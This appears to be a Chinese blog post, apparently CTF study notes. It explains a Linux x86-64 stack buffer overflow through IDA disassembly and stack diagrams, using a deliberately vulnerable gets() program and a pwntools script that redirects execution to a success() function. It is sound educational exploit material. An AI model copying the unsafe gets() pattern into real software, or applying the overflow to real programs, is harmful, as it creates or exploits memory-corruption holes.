前言
最近读了读汇编语言这本书,顺便从汇编的角度回顾一下 Linux 下的栈溢出。
测试程序
来自 ctfwiki:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> #include <string.h> void success() { puts("You Hava already controlled it."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
|
然后编译:
1
| gcc -no-pie -fno-stack-protector stack.c -o stack
|
IDA 静态分析
直接去看 vulnerable 函数的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| .text:000000000040054A public vulnerable .text:000000000040054A vulnerable proc near ; CODE XREF: main+14↓p .text:000000000040054A .text:000000000040054A s = byte ptr -0Ch .text:000000000040054A .text:000000000040054A ; __unwind { .text:000000000040054A 55 push rbp .text:000000000040054B 48 89 E5 mov rbp, rsp .text:000000000040054E 48 83 EC 10 sub rsp, 10h .text:0000000000400552 48 8D 45 F4 lea rax, [rbp+s] .text:0000000000400556 48 89 C7 mov rdi, rax .text:0000000000400559 B8 00 00 00 00 mov eax, 0 .text:000000000040055E E8 DD FE FF FF call _gets .text:0000000000400563 48 8D 45 F4 lea rax, [rbp+s] .text:0000000000400567 48 89 C7 mov rdi, rax ; s .text:000000000040056A E8 C1 FE FF FF call _puts .text:000000000040056F 90 nop .text:0000000000400570 C9 leave .text:0000000000400571 C3 retn .text:0000000000400571 ; } // starts at 40054A .text:0000000000400571 vulnerable endp
|
main 函数在调用 vulnerable 函数时执行的是 call 这个汇编代码,因为是 64 位程序,所以此时的栈大概是这样的情况:
然后执行了 push rbp,就变成了:
1 2
| 0x00 返回地址 -0x08 执行main函数时rbp寄存器的数据/rsp指向的地方
|
sub rsp, 10h:
1 2 3
| 0x00 返回地址 -0x08 执行main函数时rbp寄存器的数据 -0x18 rsp指向的地方
|
接下来就是准备一个地址给 gets 函数调用,这个地址在 IDA 中显示为 rbp+s,其实就是 rbp + 0xF4(补码),即rbp - 0x0c,此时:
1 2 3 4
| 0x00 返回地址 -0x08 执行main函数时rbp寄存器的数据 -0x14 读入字符串s的存放地址 -0x18 rsp指向的地方
|
栈是从高向低生长的,而读入字符串到内存则是从低向高存放的,而且 gets 函数并不会校验读入字符串的长度,所以只要控制输入字符串的长度,使其刚好覆盖返回地址,就可以控制下一段执行的代码,在这个环境中,所需的偏移即为 0x14。
顺带说一下还原 rbp 的方式,在函数返回之前,leave 会将 rbp 赋给 rsp,然后从栈中取出 rbp,就相当于:
其实就是函数最开始的两行代码的反向:
虽然我们在覆盖返回地址的时候顺便也把栈里放着的 rbp 给覆盖了,但是 rbp 并不会影响之后执行的汇编代码。
最后写出的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
context.log_level = "debug"
target = process("./stack") elf = ELF("./stack") gdb.attach(proc.pidof(target)[0])
success_addr = 0x0000000000400537 payload = "T" * 0xc + "F" * 8 + p64(success_addr) target.sendline(payload) target.recv() target.interactive() target.close()
|
控制返回地址来调用 success 函数。
参考:
ctfwiki
从c语言的角度看栈溢出